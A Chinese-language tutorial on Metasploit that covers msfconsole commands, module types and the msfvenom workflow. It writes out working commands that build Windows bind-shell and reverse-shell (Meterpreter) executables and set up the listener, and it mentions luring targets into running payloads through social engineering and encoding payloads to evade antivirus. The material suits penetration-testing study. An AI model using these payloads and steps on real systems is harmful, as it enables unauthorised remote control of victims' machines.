MSF内的一些功能简介
MSF是Metasploit Framework的简称,一个全球最知名的开源渗透测试框架。它主要用于安全评估、漏洞验证和渗透测试。msfconsole是 MSF 最主要、最常用的命令行交互界面,在 Kali 的终端输入 msfconsole 就可以启动了。
常见的一些指令:
help:显示出所有可以用的指令
search(关键词):可以搜索一些模块或者一些已知的历史漏洞等等
use(编号或者路径):使用选定的模块
show options:查看当前模块需要配置的参数
set(参数):填写参数
workspace:管理工作区,用于隔离不同项目的数据
run:运行
会使用这些常见的指令就可以运行大部分模块的内容了,接下来介绍 MSF 中主要的模块内容
| Exploits (漏洞利用模块) | 针对特定系统或软件的漏洞,执行代码以获取目标系统访问权限。 | “破门工具”,利用漏洞打开目标系统的大门。 |
| Payloads (载荷模块) | 在成功利用漏洞后,于目标系统上执行的代码(如建立Shell连接)。 | “进门后干的事”,比如建立连接、执行命令。 |
| Auxiliary (辅助模块) | 执行扫描、指纹识别、拒绝服务等,但不建立Shell的模块。 | “侦察兵”,用于信息收集和探测。 |
| Encoders (编码器模块) | 对Payload进行编码或混淆,以绕过防火墙或杀毒软件的检测。 | “伪装工具”,帮助Payload躲避安全软件的查杀。 |
| Post-Exploitation (后渗透模块) | 在成功获取访问权后,用于进一步信息收集、权限维持等操作。 | “打扫战场”,在系统内深入探测和扩展战果。 |
msfvenom 是 MSF 框架中独立的 Payload 生成和编码工具,其核心作用就是生成一个能在目标系统上运行的程序。这个程序的作用通常是主动连接回攻击者的电脑,建立一个反向 Shell。之后,攻击者在 msfconsole 中设置监听,就能接收并控制这个 Shell。
msfvenom 的主要流程
使用 msfvenom 生成 Payload:在攻击机上,用 msfvenom 命令生成一个包含恶意代码的文件(如 payload.exe)。例如:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe(windows/meterpreter/reverse_tcp 是反向连接的 payload,LHOST 是本地的 IP 地址,就是 Kali 的 IP,LPORT 是默认的监听端口)
在目标系统上执行Payload:通过社会工程学、漏洞利用等方式,诱使目标系统运行这个 payload.exe 文件。
在msfconsole中监听连接:在攻击机上启动msfconsole,使用exploit/multi/handler模块设置一个与生成Payload时相同的监听器(IP和端口)
建立控制会话:一旦目标系统上的Payload被执行,它就会主动连接攻击机的监听器,从而建立一个控制会话(Meterpreter或Shell)
上述中提到了一个反向连接,那么其实也是有正向连接的,这两者的本质区别就是谁去连谁,谁主动发起网络连接,生成的payload是不同的:正向为bind_tcp类型(如 Payload windows/shel1/bind_tcp);反向为 reverse_tcp类型 (如windows/meterpreter/reverse_tcp)关键的参数不同:正向是rhost和lport;反向是lhost和lport
正向连接(Bind Shell)——“你去连它”工作流程:在目标机器上植入的Payload会开启一个端口(如4444)并监听。攻击者主动使用msfconsole去连接这个IP和端口。
图例
具体例子:
假设你在内网(192.168.1.0/24)里发现一台服务器(192.168.1.9)
# 1. 生成Payload(目标机运行)
msfvenom -p windows/shell/bind_tcp RHOST=0.0.0.0 LPORT=4444 -f exe -o bind.exe
# 2. msfconsole 设置监听(攻击机执行)
msfconsole
use exploit/multi/handler
set payload windows/shell/bind_tcp
set RHOST 192.168.1.9 # 目标是IP
set LPORT 4444 # 目标是端口
exploit # 攻击机主动去连接192.168.1.9:4444
反向连接 (Reverse Shell)——“让它来连你"工作流程:攻击者在自己的机器上开启监听端口(如4444)。植入目标机器的Payload运行后,会主动向外发起TCP连接,连接到你攻击机的IP和端口。
图列
具体例子:
假设你的攻击机有公网IP(如192.168.45.12),目标在内网。
# 1. 生成Payload(目标机运行)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.45.12 LPORT=4444 -f exe -o reverse.exe
# 2. msfconsole 设置监听(攻击机执行)
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0 # 监听本机所有网卡
set LPORT 4444 # 攻击机开放的端口
exploit # 攻击机开始等待目标连接
反向连接更为我们常用是因为企业的防火墙通常严进宽出(防止外部入侵,但允许内部上网)。目标机的Payload发起出站连接访问你的192.168.45.12:4444,通常会被防火墙放行,因此反向连接成功率远高于正向。
本文内容要在合法的范围内使用!!!
